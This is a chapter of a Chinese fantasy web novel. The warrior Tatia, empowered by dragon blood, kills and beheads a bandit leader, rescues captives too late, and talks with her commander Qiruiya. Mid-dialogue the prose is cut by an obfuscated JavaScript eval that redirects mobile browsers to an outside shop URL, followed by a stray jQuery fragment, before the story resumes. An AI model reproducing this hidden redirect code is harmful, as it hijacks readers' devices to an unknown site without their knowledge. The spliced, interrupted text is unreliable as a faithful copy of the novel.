100.男人
    这个男人出现的时候,塔提亚完全不在希望看见男人的心情里——她在这个时候才有了深刻的认识,亦即,似乎是因为她童年时代的经历,她其实是不大乐意见到男人的,在任何境况下都是如此。

    这男人多丑啊!

    诚然,这具身体上有强烈的青少年时期被龙血所浸润,膨大的痕迹——就像她们一样,但不可否认,就算没有这个过程,他肯定也是个极高,极健壮,至于让她觉得反胃的男人,就像熊一样,沿路还发出刺耳的吼声。塔提亚在林间,远远看着土匪从山顶奔袭下来,心中却不由胡思乱想:难怪有些来孛林的旅客说,拉斯提库斯算不得什么特别高大的男人……他那么……正常!那么匀称……他比眼前这个男人起码要小上一倍。像是维格斯坦第,跟这些男人比起来,简直如同弱柳扶风似的。她以前在孛林,在沃特林见到的男人,都像是个没长开的雏形,跟她们的大小没什么两样。

    这个截然不同。她能在他身上闻到泼洒的油脂气味,看见他身上浓密的毛发,涨红的皮肤。他整个人就像一团巨大的肌肉和脂肪,比她宽三倍,高出一个头不止。同样的体型,这背后甚至还再有二三十个。她蹲在原处,捂住嘴。

    “挺大一个。”玛文妲道:“不过数量不是特别大,让前边的弓箭手连射,估计能摞倒一半。”塔提亚没回话。她听见背后有紧张的抽气声,见是简鸣.劳兹玟,脸上挂着泪。她看上去好像不明白发生了什么。塔提亚看着,轻声开口:“你等会待在这就好,没必要出去。”

    第一队张弓,第二队从侧翼包抄,第三队掩护,第四队沿路登顶,第五队在底部拦截,她听见弓弦张开,随之睁眼。

    “等会把最前头这个让给我。我一个人解决。”她对玛文妲说。

    为什么她梦见安荜了?

    她心想,展开红刀。那男人似乎对她,对她脚边的尸体吼了些什么,但她沉浸在回忆里,没怎么听清。

    梦真的有预兆的作用吗?——因为一切都是这么像……

    那男人朝她投掷飞斧;两人用的武器甚至都有几分相似。也是在这么一个夜晚,这样的森林里,她和安荜一起面对几个男孩。那几个男孩,也是像这么大,这么狂热,好像跟她们不是一种东西,她拼着最后一口气,杀死其中一个,成为了‘鬣犬’。

    但现在——既没有安荜,甚至连昆莉亚也没在她身边。她抬起头,看眼前这个男人,见他的影落在她身上,他勃发的体味和浓郁的臭气扑在她面,她又记起那时安荜对她说的话。很多年来,她都以为那是理所当然,不用再提醒的事实……

    不是你死,就是我亡!

    “该死,别逞强,塔提亚——我们的身体到底——”不比以前了。玛文妲在她耳边喊,她咆哮一声,怒道:“别多管闲事!”她向前冲刺,红刀不似同安克塔作战时尚保留余地,倾囊而出,暴风般打落在那男人的护甲上。她的身体穿梭刀光中,灵活迅猛地在男人身旁风行。他在向她怒吼什么,但她听不见,也根本不想听,唯带风般躲避他的攻击,踏树而起,眼看就要跳着这男人头顶攻击。

    “塔提亚!”玛文妲喊,拔刀欲向前,但这时她身旁也闪来攻击,莫提她背后还有简鸣.劳兹玟,更不敢分心,回身迎战,只听塔提亚被抓握在地,心急如焚。

    “闪开!”她朝面前那男人道,却感对手难缠——那天收到的人皮仍浮现在她心中……她知道男人的根性……她知道她们遭遇了什么!憎恶让她想将面前的对手一击而灭,但肉身似有别处念头。简鸣的哭声在她面前响起,她汗如雨下,只祈祷塔提亚不要出事。

    ——什么让你……

    她眨眼。剧痛缠绕她全身。她被砸到地上,感五脏六腑都错了位,像那天同安克塔战斗。那是她最不舒服的一次经历,当她被安克塔压住,她感到一种从心中升起的反感,欲呕吐。

    ——这么心软了,塔提亚?

    那男人的脸出现在她面前。“我没有……”她嘶哑道,胸前滚烫。她的双手扭曲成一个几对人体来说不可能的弧度,再度握住红刀;她张开嘴。

    “我没有……变!”她吼道,用尽全身力气向上突刺。她的咆哮低沉而漫长,回荡林中,像只野兽;她感胸前,那藏着一秘密处,烧着熔炼金属似的温度。她声嘶力竭地怒吼,身体抬起,红刀刺破她的手心,也刺破了那男人的护喉。她仍在用力,要耗尽身体里的每一丝力气,起初,她的嗓音中仍留着她作为人的质地,但每一刻过去它都变得更深邃,直到它不再像个女人的嗓音;不再像个人。

    她抬起腿,踢在那男人的头上。她听见他在说什么,但她根本听不懂。她不能听懂其中的内容,并且,又有什么用处?她的吼声使人毛骨悚然。

    龙吼。她用靴踏着男人的头,使颈椎向后弯曲,红刀划出一个凛厉的红弧,终将他斩首。其血喷绝命一刻,她甚至不曾再多看,转身同玛文妲战至一处。两人前后夹击,将这男人钉死在树上。塔提亚晕头转向,做完这一切,才扶着树,颓唐跪下。

    玛文妲上前扶她。

    “……你怎么了,塔提亚?”她问。她摇头。

    “……你怎么样?”她犹豫片刻,抬起头问玛文妲。

    “我挺好的!战斗得很顺利。”玛文妲神色如常:“我就是看你精神不太好。你恐怕还是太久没有战斗了。”

    塔提亚勉强微笑,夹在血下,颇显狰狞。

    “我觉得也是。”她回答,挣扎起身,看向前方:“我们上去,别杀两个人,就让我走不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14330220|149957||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    动路了。”

    她跑过那个女人的尸体边。塔提亚低下头,发现她先前杀死的那个男人的头颅,原来也倒在那儿。她眨了眨眼,面前都是血,但奇怪,现在她看清了,原来那男人不是什么怪物。他长得和那女人,其实挺像的。她思及如此,胸前红鳞滚烫,低头抚住那儿,头脑昏沉。

    “……我保护了你,是吧?”她喃喃道:“从他手里……”

    她咬牙,加速向前。这动作让她好受些了,眼前重新为那流淌,自由的血红色充满。她和玛文妲,带着第五队一起,在山顶和其余四队会合。奇瑞亚的策略非常成功,引敌出动的结果是,她们的损失竟在十人以内,而这山上,恐怕除了逃兵,已没了活匪。顶部是个小型聚落,向外,还建着个露台,除了能监视山下动态,风景竟颇优美。她到了山顶,走到露台边,吹着晚风,感到手上的伤口没那么疼了。她闭上眼,企图找回曾经那闭合而流畅的状态,看见一片红色,但总是有一丝污点。

    她看见她的脸。那双棕色的,牛一样的眼睛,湿润地望着她。

    塔提亚的眉毛蹙在一起。

    为什么那个晚上,她没能化龙?

    “找到了!她们果然被带到了这座山上……!”

    有人叫,塔提亚回头,见一群士兵撬开一座小屋,片刻沉默后,爆发出阵撕心裂肺的怒吼。

    “畜生!”玛文妲吼道。她抬枪,捣弄地上尸体的眼眶:“畜生,畜生,畜生……”

    塔提亚走过去。在她看见那几个‘鬣犬’的残骸时,她脑海中的那双眼睛也消失了。在之后的所有任务里,包括用投石机将土匪的头扔进城墙里,包括再扫荡了其余几座匪山,她的心态一直平稳,良好,脸上带着她标志性的笑容。奇瑞亚对军队花销并不吝啬,她在各个城市前展示军队,并且也并不向队内隐藏她的动机。

    “这是场表演。”她解释:“让人们,尤其是女人们,看看我们的实力,好让她们做选择。”

    回到达弥斯提弗前的最后一夜,塔提亚坐在城墙前,看空中的月亮。当她觉得她的思维再度变得古怪时,她想离开,奇瑞亚却出现在她身后。这时她便不紧张了,因奇瑞亚在时,她的想法从没出现过什么问题。致密,完满,红色。

    她坐在她身边,两人共同看着星空。

    “你知道,塔提亚。”奇瑞亚说:“你那时拒绝了血龙心,是有代价的。”塔提亚没有回答,她显然,也没有指望她回答:“——不过这也是天注定。”

    塔提亚企图让自己的思维集中在这件事上;她企图让自己有些歉疚,但那时候,梦又来了。她确实看见了血红色,但在一片红色中,她低下头,就看见那双棕色的眼,隔着荒原的雾气,长久,真诚而悲伤地,看着她。